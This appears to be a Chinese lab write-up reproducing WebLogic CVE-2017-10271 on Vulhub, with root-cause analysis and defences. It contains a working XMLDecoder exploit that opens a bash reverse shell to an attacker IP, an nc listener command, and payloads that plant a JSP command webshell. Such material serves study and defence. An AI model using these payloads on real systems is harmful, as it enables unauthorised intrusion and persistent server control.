【vulhub weblogic CVE-2017-10271漏洞复现】vulhub weblogic CVE-2017-10271漏洞复现详细解析

【vulhub weblogic CVE-2017-10271漏洞复现】vulhub weblogic CVE-2017-10271漏洞复现详细解析

安全提示与职业操守

做渗透测试,必须严格遵守以下原则:

  1. 合法授权 :仅在书面授权的范围内使用,禁止未授权测试;
  2. 最小影响 :避免使用高风险参数(如sqlmap工具的 --risk=3--os-shell),防止目标服务崩溃;
  3. 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
  4. 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
  4. 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
  7. 本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

1.在 vulhub 中打开靶场环境

使用 curl 命令获取网页状态,返回正常

访问 ip:port 进入web界面,出现404说明环境搭建成功

复制代码
# CVE-2017-10271漏洞的接口
/wls-wsat/CoordinatorPortType

进入该接口后改为post传参

这里主要要把Content-Type字段改成 text/xml否则会出现错误

构造EXP:

http 复制代码
# request
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.128:7001
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.171.133/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送请求

反弹shell成功

深入剖析 WebLogic CVE-2017-10271 漏洞:原理、复现与防御

Oracle WebLogic Server 作为企业级 Java EE 应用服务器,被广泛应用于金融、政务、能源等核心领域,其安全漏洞往往带来极高的攻击风险。CVE-2017-10271 是 WebLogic 中典型的反序列化远程代码执行漏洞,危害等级为高危,本文将从漏洞原理环境复现深度分析防御措施,全方位拆解该漏洞的本质与利用方式。

一、漏洞概述

1.1 漏洞基本信息

  • 漏洞编号:CVE-2017-10271
  • 影响版本:Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2
  • 漏洞类型:远程代码执行(RCE)
  • 危害等级:高危(CVSS 评分 9.8)
  • 核心成因:WLS-WSAT 组件对 XML 数据解析不当,导致 XMLDecoder 反序列化执行恶意代码

1.2 漏洞影响

攻击者无需认证,可通过发送特制的 XML 请求包,直接在目标服务器上执行任意系统命令(如反弹 Shell、植入后门),完全控制 WebLogic 服务器,进而横向渗透整个内网。

二、漏洞核心原理

2.1 WLS-WSAT 组件背景

WLS-WSAT(WebLogic Web Services Atomic Transaction)是 WebLogic 用于处理 Web 服务原子事务的组件,其对外暴露的接口/wls-wsat/CoordinatorPortType支持接收 XML 格式的 SOAP 请求。该组件在解析 XML 请求时,使用了java.beans.XMLDecoder类处理请求体,而 XMLDecoder 存在反序列化安全缺陷。

2.2 XMLDecoder 反序列化漏洞本质

XMLDecoder是 Java 提供的 XML 反序列化工具,初衷是将 XML 数据还原为 Java 对象。但该工具的设计存在致命缺陷:它不仅能反序列化普通 Java 对象,还能解析并执行包含恶意逻辑的 XML 代码,直接调用 Java 类的方法执行系统命令

以漏洞利用的核心逻辑为例:

java 复制代码
// 核心恶意XML片段对应的Java逻辑
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者IP/端口 0>&1");
pb.start();

上述 Java 代码被封装为 XML 格式后,XMLDecoder 解析时会直接实例化ProcessBuilder类并调用start()方法,从而执行系统命令 ------ 这是 CVE-2017-10271 漏洞可被利用的核心基础。

2.3 漏洞触发的关键条件

  1. 接口可达 :目标服务器的/wls-wsat/CoordinatorPortType接口未被禁用,且可被外部访问;
  2. Content-Type 正确 :请求头需设置Content-Type: text/xml,否则 WLS-WSAT 组件会拒绝解析 XML 数据;
  3. 恶意 XML 构造合法 :XML 结构需符合 SOAP 协议规范,且恶意代码片段需被包裹在WorkContext标签内(该标签是 WLS-WSAT 组件的核心处理节点)。

三、漏洞复现(基于 Vulhub 环境)

3.1 环境准备

Vulhub 是开源的漏洞靶场平台,已内置 WebLogic CVE-2017-10271 的漏洞环境,部署步骤如下:

  1. 克隆 Vulhub 仓库:git clone https://github.com/vulhub/vulhub.git
  2. 进入漏洞目录:cd vulhub/weblogic/CVE-2017-10271
  3. 启动靶场:docker-compose up -d
  4. 验证环境:使用curl http://靶机IP:7001,返回 404 页面即说明 WebLogic 环境启动成功(WLS-WSAT 组件本身无前端页面,主页面 404 是正常现象)。

3.2 漏洞验证与利用

步骤 1:确认漏洞接口可达

访问http://靶机IP:7001/wls-wsat/CoordinatorPortType,若返回空白页面或 SOAP 相关错误,说明接口存在且可访问。

步骤 2:构造恶意 EXP(反弹 Shell)

核心是构造符合 SOAP 协议的 XML 请求包,关键要点:

  • 请求方法为 POST;
  • 请求头Content-Type必须为text/xml
  • XML 体中嵌入ProcessBuilder执行反弹 Shell 命令。

完整 EXP 如下:

http 复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.128:7001
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.171.133/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

参数说明

  • 192.168.171.133:攻击者的 IP 地址;
  • 21:攻击者监听的端口(需提前用nc -lvvp 21开启监听);
  • /bin/bash:针对 Linux 靶机,若为 Windows 需替换为cmd.exe及对应命令。
步骤 3:发送请求并获取 Shell
  1. 攻击者端开启端口监听:nc -lvvp 21
  2. 使用 Burp Suite/Postman 等工具发送上述 POST 请求;
  3. 监听端收到连接,反弹 Shell 成功,可执行任意系统命令。

四、漏洞深度分析

4.1 为什么 Content-Type 必须为 text/xml?

WLS-WSAT 组件作为 Web 服务组件,严格遵循 SOAP 协议规范:SOAP 请求的默认 Content-Type 为text/xml,若请求头设置为其他类型(如application/x-www-form-urlencoded),组件会直接拒绝解析 XML 请求体,导致恶意代码无法被 XMLDecoder 处理。

4.2 XML 恶意代码的执行逻辑拆解

java 复制代码
<java version="1.4.0" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <!-- 构造ProcessBuilder的参数数组:/bin/bash -c 反弹Shell命令 -->
    <array class="java.lang.String" length="3">
      <void index="0"><string>/bin/bash</string></void>
      <void index="1"><string>-c</string></void>
      <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.171.133/21 0&gt;&amp;1</string></void>
    </array>
    <!-- 调用ProcessBuilder的start()方法,执行命令 -->
    <void method="start"/></void>
  </void>
</java>
  • <void class="java.lang.ProcessBuilder">:实例化 ProcessBuilder 类(Java 中用于创建操作系统进程);
  • <array>:为 ProcessBuilder 构造命令参数数组;
  • <void method="start"/>:调用 start () 方法启动进程,执行命令。

XMLDecoder 解析上述 XML 时,并非简单的 "反序列化对象",而是直接执行类的方法,这是其设计缺陷的核心 ------ 正常的反序列化工具应仅还原数据,而非执行方法。

4.3 漏洞的本质:组件权限与反序列化滥用

WLS-WSAT 组件以 WebLogic 的系统权限运行,因此通过该组件执行的命令拥有极高权限(通常为weblogic用户甚至root权限)。攻击者无需认证即可利用该组件,本质是:

  1. WebLogic 未对 WLS-WSAT 接口做访问控制;
  2. XMLDecoder 的危险解析逻辑未被限制;
  3. 组件运行权限过高,无最小权限原则约束。

五、防御措施

5.1 紧急修复:禁用 WLS-WSAT 组件

若无需使用 WSAT 功能,直接删除 / 禁用相关组件是最有效的临时措施:

  1. 删除 WebLogic 安装目录下的wls-wsat.war文件;
  2. 删除domain/servers/AdminServer/tmp/_WL_user/wls-wsat目录;
  3. 重启 WebLogic 服务,验证/wls-wsat/CoordinatorPortType接口不可访问。

5.2 官方补丁修复

Oracle 已发布 CVE-2017-10271 的官方补丁,需根据 WebLogic 版本下载对应补丁:

  • 补丁下载地址:Oracle 官网的 Critical Patch Update(CPU)页面;
  • 补丁安装:遵循 Oracle 官方文档,安装后重启 WebLogic。

5.3 网络层防护

  1. WAF 规则 :配置 WAF 拦截包含java.beans.XMLDecoderProcessBuilder/wls-wsat/等关键词的请求;
  2. 访问控制:限制 WebLogic 管理端口(7001/7002)仅对内网开放,禁止外网直接访问;
  3. 流量审计:监控 POST 请求中包含 SOAP/XMLDecoder 的异常流量。

5.4 代码层加固

  1. 若必须使用 XMLDecoder,需严格过滤 XML 内容,禁止解析包含java.lang.ProcessBuilderjava.lang.Runtime等危险类的 XML 片段;
  2. 遵循最小权限原则:降低 WebLogic 服务运行账户的权限,避免使用 root/Administrator 账户。

六、总结

CVE-2017-10271 漏洞的本质是WebLogic 组件对危险反序列化工具的不当使用 + 缺乏访问控制,这类漏洞在 Java EE 应用服务器中较为典型。从防御角度,企业不仅要及时打补丁、禁用无用组件,更要建立 "最小权限 + 流量监控 + 代码审计" 的多层防御体系。

对于渗透测试人员而言,该漏洞的复现不仅是技术验证,更能帮助理解 Java 反序列化漏洞的核心逻辑 ------XMLDecoder、ObjectInputStream 等反序列化工具的滥用,是 Java 安全的高频考点,掌握其原理才能更高效地发现和防御同类漏洞。

免责声明:本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

附加:(写入webshell的分析)

WebShell 植入全流程(实战详解)

4.1 核心 EXP 构造(写入测试型 WebShell)

完整请求包(重点标注关键参数)
复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001  # 替换为靶机IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml  # 必须为text/xml,否则解析失败
Content-Length: 638     # 需根据XML内容调整长度

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <!-- 核心:实例化PrintWriter,指定写入路径 -->
    <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <!-- 调用println方法,写入JSP代码 -->
        <void method="println"><string>
            <![CDATA[
<% out.print("test"); %>  <!-- WebShell核心代码,可替换为一句话木马 -->
            ]]>
        </string>
        </void>
        <!-- 关闭PrintWriter流,完成写入 -->
        <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

4.2 执行步骤(以 Burp Suite 为例)

步骤 1:配置请求参数
  1. 打开 Burp Suite,切换到Repeater模块;
  2. 粘贴上述 EXP,将Host替换为靶机 IP(如192.168.171.128:7001);
  3. 确认Content-Type: text/xml已配置,Content-Length自动适配(Burp 可自动计算)。
步骤 2:发送请求并验证响应
  • 发送请求后,若响应状态码为200 OK(或500 Internal Server Error,不影响写入),说明请求被解析;
  • 无明显报错即代表文件写入大概率成功。
步骤 3:访问 WebShell 验证结果

访问http://your-ip:7001/bea_wls_internal/test.jsp,页面显示test------ 说明 WebShell 写入成功且可正常执行。

4.3 进阶:植入一句话木马(实战型 WebShell)

将 EXP 中![CDATA[]]内的代码替换为 Java 一句话木马:

复制代码
<![CDATA[
<%@ page language="java" import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line = null;
    while((line = br.readLine())!=null){
        out.print(line);
    }
%>
]]>

替换后重新发送请求,访问http://your-ip:7001/bea_wls_internal/test.jsp?cmd=whoami,页面返回服务器当前用户(如weblogic),即实现命令执行。

五、WebShell 写入原理深度拆解

5.1 为什么选择bea_wls_internal路径?

WebLogic 的_WL_internal目录是自动解压的临时 WAR 包目录,具备两个核心特性:

  1. 写入权限:WebLogic 运行账户(weblogic)对该目录有完全读写权限;
  2. 可访问性:bea_wls_internal是 WebLogic 内置的内部应用,其 WAR 包解压后的文件可直接通过http://ip:7001/bea_wls_internal/文件名访问;
  3. 路径稳定性:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/是 WebLogic 默认路径,不同环境仅9j4dqk(随机字符)可能变化,可通过目录遍历 / 信息收集获取。

5.2 XMLPayload 核心节点解析

XML 节点 作用说明
object class="java.io.PrintWriter" 实例化 PrintWriter 类(Java 文件写入核心类)
<string>写入路径</string> 为 PrintWriter 指定输出文件路径(JSP 文件)
<void method="println"> 调用 PrintWriter 的 println () 方法,向文件写入内容
<![CDATA[...]]> 包裹 JSP 代码,避免 XML 特殊字符(如</>)导致解析错误
<void method="close"/> 调用 close () 方法关闭流,确保文件写入完成(无此步骤可能导致文件内容不完整)

5.3 为什么 Content-Type 必须为 text/xml?

WLS-WSAT 组件是遵循 SOAP 协议的 Web 服务,SOAP 1.1 规范明确要求请求头Content-Typetext/xml

  • 若设置为application/x-www-form-urlencoded/multipart/form-data等,组件会直接拒绝解析 XML 请求体;
  • 这是漏洞利用的 "硬条件",也是 WAF 规则检测的核心特征之一。

免责声明:本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

相关推荐
汀、人工智能2 小时前
[特殊字符] 第9课:三数之和
数据结构·算法·数据库架构·图论·bfs·三数之和
汀、人工智能2 小时前
[特殊字符] 第10课:接雨水
数据结构·算法·数据库架构·图论·bfs·接雨水
砍材农夫2 小时前
spring-ai 第三结构化输出
java·人工智能·spring
麦芽糖02192 小时前
若依整合AI三 拔高原理篇
java
2501_921649492 小时前
Java 接入外汇数据 API 完整教程:实时报价、历史 K 线与 WebSocket 推送
java·开发语言·websocket·金融
希望永不加班2 小时前
SpringBoot 整合 MongoDB
java·spring boot·后端·mongodb·spring
sR916Mecz2 小时前
MongoDB 详解、应用场景及案例分析(AI)
数据库·mongodb
℡終嚸♂6802 小时前
Java 反序列化漏洞详解
java·开发语言
Strange_Head2 小时前
《Linux系统网络协议》用 C 语言写一个最小 HTTP Server 与 Client——网络篇
网络·网络协议·http